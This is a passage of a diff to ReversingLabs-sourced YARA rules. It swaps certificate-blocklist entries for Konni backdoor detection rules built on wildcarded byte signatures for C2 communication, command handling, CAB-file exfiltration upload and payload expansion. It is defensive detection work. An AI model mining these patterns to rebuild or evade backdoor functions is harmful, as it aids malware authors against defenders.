that detects Konni backdoor." author = "ReversingLabs" - id = "6f9852cb-277d-5942-b3f7-525593a41027" - date = "2020-08-05" - modified = "2023-11-08" + id = "6fe230b1-357a-54f7-a9a8-15d0369fec71" + date = "2023-12-07" + modified = "2023-12-07" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5386-L5402" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Win32.Backdoor.Konni.yara#L1-L190" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "eb4387d58e391c356ed774d8c13bb4bbb2befed585bb44674459d3ef519aec58" + logic_hash = "7907a657d804d485718ba13bb23513de0b909e7d455c2b3ee193b5329edd3ac6" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "Konni" + tc_detection_factor = 5 importance = 25 + strings: + $network_communication_p1 = { + 55 8B EC 83 EC ?? 53 56 8B 35 ?? ?? ?? ?? 57 33 FF 68 ?? ?? ?? ?? 8D 9E ?? ?? ?? ?? + 57 53 89 7D ?? 89 7D ?? 89 7D ?? 89 7D ?? 89 7D ?? 89 5D ?? E8 ?? ?? ?? ?? 8B 45 ?? + 50 56 8D 8E ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? + 81 C6 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 57 57 57 6A ?? 57 FF 15 ?? ?? ?? ?? 8B D8 3B DF + 0F 84 ?? ?? ?? ?? 57 57 6A ?? 57 57 6A ?? 56 53 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 8B F8 89 7D ?? 85 FF 75 ?? 53 FF 15 ?? ?? ?? ?? 8D 47 ?? 5F 5E 5B 8B E5 5D C2 ?? + ?? 8B 55 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 52 68 ?? ?? ?? ?? 57 C7 45 ?? ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 75 ?? 8B 35 ?? ?? ?? ?? 57 FF D6 53 FF D6 5F + 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C2 ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? + 6A ?? 6A ?? 85 C0 74 ?? 8D 45 ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 50 50 6A ?? 56 + FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 57 FF D6 53 FF D6 5F 5E B8 ?? ?? ?? ?? + 5B 8B E5 5D C2 ?? ?? 8B 45 ?? 85 C0 75 ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 56 8B 35 ?? + ?? ?? ?? FF D6 57 FF D6 53 FF D6 5F 5E 83 C8 ?? 5B 8B E5 5D C2 ?? ?? 40 50 6A ?? 89 + } + $network_communication_p2 = { + 45 ?? FF 15 ?? ?? ?? ?? 8B F8 85 FF 75 ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 56 8B 35 ?? + ?? ?? ?? FF D6 8B 4D ?? 51 FF D6 53 FF D6 5F 5E 83 C8 ?? 5B 8B E5 5D C2 ?? ?? 8B 55 + ?? 52 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? + ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 6A ?? 6A ?? 6A ?? + 56 FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 8B 45 ?? 50 FF D6 53 FF D6 5F 5E 83 + C8 ?? 5B 8B E5 5D C2 ?? ?? 8B 55 ?? 8D 4D ?? 51 52 57 56 FF 15 ?? ?? ?? ?? 85 C0 74 + ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 57 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? + 85 C0 B8 ?? ?? ?? ?? 75 ?? 8B 45 ?? 89 45 ?? 83 F8 ?? 74 ?? 8B 4D ?? 8B 55 ?? 6A ?? + 8D 45 ?? 50 51 57 52 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B 45 ?? 01 45 ?? 51 6A ?? 57 E8 ?? + ?? ?? ?? 8B 45 ?? 83 C4 ?? 8D 55 ?? 52 50 57 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4D + ?? 51 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? + 56 8B 35 ?? ?? ?? ?? FF D6 8B 55 ?? 52 FF D6 53 FF D6 83 7D ?? ?? 0F 84 ?? ?? ?? ?? + 8B 45 ?? 5F 5E 5B 8B E5 5D C2 + } + $handle_c2_commands_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 8D 85 ?? ?? ?? ?? + 50 33 FF 68 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 89 B5 ?? ?? ?? ?? + 3B F7 75 ?? 83 C8 ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 0D ?? ?? + ?? ?? 8B 16 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B + 4E ?? 50 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 56 ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? + ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 4E ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B + 5E ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 33 C0 57 51 66 89 85 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 C4 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 46 ?? 52 50 E8 ?? ?? + ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 4E ?? 57 51 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? + ?? ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 46 ?? 52 50 E8 ?? ?? ?? + ?? 83 C4 ?? 85 C0 75 ?? 8B 46 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 69 C0 ?? ?? ?? ?? A3 ?? + ?? ?? ?? E9 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B 56 ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 + } + $handle_c2_commands_p2 = { + C0 75 ?? 8B 46 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 69 C0 ?? ?? ?? ?? A3 ?? ?? ?? ?? E9 ?? + ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4C 86 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? BE + ?? ?? ?? ?? 85 C0 75 ?? 8D 78 ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 + FF E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 06 52 50 E8 + ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B + 44 96 ?? 51 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 8D ?? ?? ?? ?? 8B 54 8E ?? 68 + ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 06 8D 50 ?? 8B FF 66 8B 08 83 + C0 ?? 66 3B CF 75 ?? 2B C2 D1 F8 57 8D 3C 45 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB + ?? 8B 06 8D 50 ?? 66 8B 08 83 C0 ?? 66 3B CF 75 ?? 2B C2 D1 F8 6A ?? 8D 3C 45 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? A1 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 54 8E ?? 50 + 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 48 ?? EB ?? 33 C9 E8 ?? ?? ?? ?? 8B F8 56 + FF 15 ?? ?? ?? ?? 8B 4D ?? 8B C7 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $create_cab_file_and_upload_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? A1 ?? ?? ?? ?? 53 56 57 33 + FF 68 ?? ?? ?? ?? 8B F1 8D 95 ?? ?? ?? ?? 33 C9 57 52 89 85 ?? ?? ?? ?? 89 BD ?? ?? + ?? ?? 89 BD ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 66 89 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 33 C0 57 51 66 89 85 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 33 C0 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 66 89 + 85 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 33 D2 50 66 89 95 ?? ?? ?? ?? FF 15 ?? ?? + ?? ?? 0F B7 8D ?? ?? ?? ?? 0F B7 95 ?? ?? ?? ?? 0F B7 85 ?? ?? ?? ?? 51 0F B7 8D ?? + ?? ?? ?? 52 0F B7 95 ?? ?? ?? ?? 50 51 52 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 57 + 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 50 57 68 ?? ?? ?? ?? 8B C8 51 FF 15 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 + FF 15 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B D8 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 + C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? + 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? + ?? 83 C4 ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 68 ?? + ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B CE 8D BD ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 F8 ?? 75 ?? 83 C8 ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 57 8D + } + $create_cab_file_and_upload_p2 = { + 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? EB ?? 33 FF 8D 9D ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 3B C7 74 ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? + ?? 8B B5 ?? ?? ?? ?? 83 C6 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 3B C7 74 + ?? 56 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 3B + DF 74 ?? 8D 85 ?? ?? ?? ?? 8D 50 ?? EB ?? 8D 9B ?? ?? ?? ?? 66 8B 08 83 C0 ?? 66 3B + CF 75 ?? 2B C2 8D 93 ?? ?? ?? ?? D1 F8 8D 0C 00 33 C0 89 02 89 42 ?? 89 42 ?? 89 42 + ?? 89 42 ?? 89 42 ?? 89 42 ?? 89 42 ?? 3B CF 74 ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 C4 ?? 8B CB EB ?? 33 C9 8B 95 ?? ?? ?? ?? 89 8A ?? ?? ?? ?? 3B CF 0F 84 ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 8B + BD ?? ?? ?? ?? 8B 87 ?? ?? ?? ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 53 C7 87 ?? + ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 50 ?? 8D 9B ?? ?? ?? ?? + 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 8D 84 46 ?? ?? ?? ?? 50 6A ?? 89 85 ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 6A ?? + 53 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 50 + 53 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 56 89 85 ?? ?? ?? ?? 51 03 C3 50 E8 ?? ?? ?? ?? + 8B BD ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 03 FB 83 C4 ?? 03 FE B9 ?? ?? ?? ?? BE ?? ?? ?? + ?? 50 F3 A5 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? 56 E8 + } + $create_cab_file_and_upload_p3 = { + 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 85 FF 0F 84 ?? ?? ?? ?? 6A ?? + 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 57 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + 89 85 ?? ?? ?? ?? 85 C0 75 ?? 57 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5F 5E 5B 8B 4D ?? + 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? + 6A ?? 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 50 05 ?? ?? ?? ?? 50 68 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? + 6A ?? 6A ?? 6A ?? 56 68 ?? ?? ?? ?? 51 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 8B F0 85 F6 75 ?? 8B 95 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 52 FF D6 57 FF D6 B8 ?? ?? + ?? ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 85 ?? ?? ?? ?? 50 53 6A + ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 56 + 8B 35 ?? ?? ?? ?? FF D6 8B 8D ?? ?? ?? ?? 51 FF D6 57 FF D6 B8 ?? ?? ?? ?? 5F 5E 5B + 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 53 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 95 ?? + ?? ?? ?? 52 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 56 8B 35 + ?? ?? ?? ?? FF D6 8B 85 ?? ?? ?? ?? 50 FF D6 57 FF D6 B8 ?? ?? ?? ?? 5F 5E 5B 8B 4D + ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 85 ?? ?? ?? ?? 85 C0 75 ?? 50 50 50 56 FF 15 + ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 8B 8D ?? ?? ?? ?? 51 FF D6 57 FF D6 83 C8 + } + $create_cab_file_and_upload_p4 = { + 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 40 50 6A ?? 89 85 ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 8B D8 85 DB 75 ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? + FF D6 8B 95 ?? ?? ?? ?? 52 FF D6 57 FF D6 83 C8 ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? + ?? ?? 8B E5 5D C3 8B 85 ?? ?? ?? ?? 50 6A ?? 53 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 + C4 ?? 8D 8D ?? ?? ?? ?? 51 52 53 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 53 + E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? + ?? FF D6 8B 85 ?? ?? ?? ?? 50 FF D6 57 FF D6 8B 4D ?? 8B 85 ?? ?? ?? ?? 5F 5E 33 CD + 5B E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $cmd_expand_payload = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 68 ?? ?? ?? ?? 8B + D9 33 FF 8D 8D ?? ?? ?? ?? 33 C0 57 51 66 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 33 D2 57 50 66 89 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 8D + ?? ?? ?? ?? 57 51 89 BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 68 ?? ?? ?? ?? 6A ?? + 57 6A ?? 33 C0 68 ?? ?? ?? ?? 53 89 BD ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? + ?? 89 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 74 ?? 57 57 57 6A ?? 57 56 FF + 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 3B C7 75 ?? 56 FF 15 ?? ?? ?? ?? 83 C8 ?? 5F 5E 5B + 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 57 57 57 6A ?? 50 FF 15 ?? ?? ?? ?? 8B F8 + 85 FF 74 ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 6A ?? 8D 47 ?? 50 6A ?? 6A ?? FF 15 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? + ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B 57 ?? 83 C4 ?? 57 89 95 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 85 ?? + ?? ?? ?? 8B 3D ?? ?? ?? ?? 50 FF D7 56 FF D7 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? + 51 E8 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? + ?? 83 C4 ?? 33 C0 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 50 50 68 ?? ?? ?? ?? 50 + 50 50 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D3 6A + ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + 8B F0 83 FE ?? 75 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 56 FF D7 8B 4D ?? 8B 85 ?? ?? + ?? ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Master Networking s.r.o." and pe.signatures [ i ] . serial == "5b:44:0a:47:e8:ce:3d:d2:02:27:1e:5c:7a:66:6c:78" and 1601895571 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $network_communication_p* ) ) and ( all of ( $handle_c2_commands_p* ) ) and ( all of ( $create_cab_file_and_upload_p* ) ) and ( $cmd_expand_payload ) } - -rule REVERSINGLABS_Cert_Blocklist_B82C6553B2186C219797621Aaa233Edb : INFO FILE +rule REVERSINGLABS_Win64_Backdoor_Konni : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Konni backdoor." author = "ReversingLabs" - id = "e1dd9783-078f-582e-8493-7c493cda9c62" - date = "2020-08-05" - modified = "2023-11-08" + id = "c45c23c6-be15-58cc-ae4d-631bed4a3bb2" + date = "2023-12-07" + modified = "2023-12-07" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5404-L5422" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Win64.Backdoor.Konni.yara#L1-L205" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "72e3e1740a4adc4315d2dd9c9f7b8cee2d89c3006014dec663b70d3419f43ca3" + logic_hash = "37c45e3ed23ca9f4de876f666c9f6d9bf7eee5cb1650b02cdd9f58e2ccc4b5cb" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "Konni" + tc_detection_factor = 5 importance = 25 + strings: + $network_communication_p1 = { + 48 8B C4 53 55 57 41 54 41 55 41 56 41 57 48 83 EC ?? 48 8B 3D ?? ?? ?? ?? 45 33 FF + 48 8B D9 4C 8D A7 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 49 8B CC 44 89 78 ?? 44 89 78 + ?? 45 8B F7 44 89 78 ?? 41 8B EF E8 ?? ?? ?? ?? 4C 8D 8F ?? ?? ?? ?? 4C 8D 05 ?? ?? + ?? ?? BA ?? ?? ?? ?? 49 8B CC 48 89 5C 24 ?? 48 89 7C 24 ?? E8 ?? ?? ?? ?? 48 8D 9F + ?? ?? ?? ?? 48 8B CB E8 ?? ?? ?? ?? 41 BD ?? ?? ?? ?? 45 33 C9 45 33 C0 33 C9 41 8B + D5 44 89 7C 24 ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 89 44 24 ?? 48 85 C0 75 ?? 83 C8 ?? + 48 83 C4 ?? 41 5F 41 5E 41 5D 41 5C 5F 5D 5B C3 4C 89 7C 24 ?? 44 89 7C 24 ?? 41 B8 + ?? ?? ?? ?? 45 33 C9 48 8B D3 48 8B C8 C7 44 24 ?? ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? + ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 4C 89 7C 24 ?? FF 15 ?? ?? ?? ?? 48 8B F0 48 85 + C0 0F 84 ?? ?? ?? ?? 4C 89 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 45 + 33 C9 4D 8B C4 48 8B C8 4C 89 7C 24 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 4C 89 7C 24 + ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 45 33 C9 45 33 C0 33 D2 48 8B C8 44 89 + 7C 24 ?? FF 15 ?? ?? ?? ?? 45 33 C9 45 33 C0 48 8B CB 85 C0 74 ?? 48 8D 94 24 ?? ?? + ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 45 33 C9 48 8B CB 45 33 C0 33 D2 FF 15 ?? ?? ?? + ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? + 41 8B C5 E9 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 85 C0 75 ?? 48 8B CB EB ?? FF C0 B9 ?? + ?? ?? ?? 8B D0 89 84 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8B E0 48 85 C0 74 ?? 44 8B + } + $network_communication_p2 = { + 84 24 ?? ?? ?? ?? 33 D2 48 8B C8 E8 ?? ?? ?? ?? 45 33 C9 4C 89 7C 24 ?? 48 8D 0D ?? + ?? ?? ?? 45 8D 41 ?? BA ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? + FF 15 ?? ?? ?? ?? 4C 8B E8 48 8B CB 48 83 F8 ?? 75 ?? 45 33 C9 45 33 C0 33 D2 FF 15 + ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? + ?? ?? ?? 83 C8 ?? E9 ?? ?? ?? ?? 44 8B 84 24 ?? ?? ?? ?? 4C 8D 8C 24 ?? ?? ?? ?? 49 + 8B D4 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? BF ?? ?? ?? ?? 0F 1F 00 44 39 BC 24 + ?? ?? ?? ?? 74 ?? 48 8D 15 ?? ?? ?? ?? 49 8B CC 41 8B EF E8 ?? ?? ?? ?? 48 85 C0 0F + 45 EF 3B EF 74 ?? 44 8B 84 24 ?? ?? ?? ?? 4C 8D 8C 24 ?? ?? ?? ?? 49 8B D4 49 8B CD + 4C 89 7C 24 ?? FF 15 ?? ?? ?? ?? 44 8B 84 24 ?? ?? ?? ?? 44 03 B4 24 ?? ?? ?? ?? 33 + D2 49 8B CC E8 ?? ?? ?? ?? 44 8B 84 24 ?? ?? ?? ?? 4C 8D 8C 24 ?? ?? ?? ?? 49 8B D4 + 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8B 7C 24 ?? 49 8B CD FF 15 ?? + ?? ?? ?? 49 8B CC FF 15 ?? ?? ?? ?? 45 33 C9 45 33 C0 33 D2 48 8B CB FF 15 ?? ?? ?? + ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? + 83 C8 ?? 45 85 F6 0F 44 E8 8B C5 48 8B B4 24 ?? ?? ?? ?? 48 83 C4 ?? 41 5F 41 5E 41 + 5D 41 5C 5F 5D 5B C3 + } + $handle_c2_commands_p1 = { + 48 89 5C 24 ?? 48 89 74 24 ?? 57 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 + 48 89 84 24 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? 48 8D 54 24 ?? 33 FF 48 8B CE 89 7C 24 + ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? 83 C8 ?? E9 ?? ?? ?? ?? 48 8B 15 ?? ?? + ?? ?? 48 8B 08 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 4B + ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 4B ?? 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 + 75 ?? 48 8B 4B ?? 8D 50 ?? E8 ?? ?? ?? ?? E9 ?? 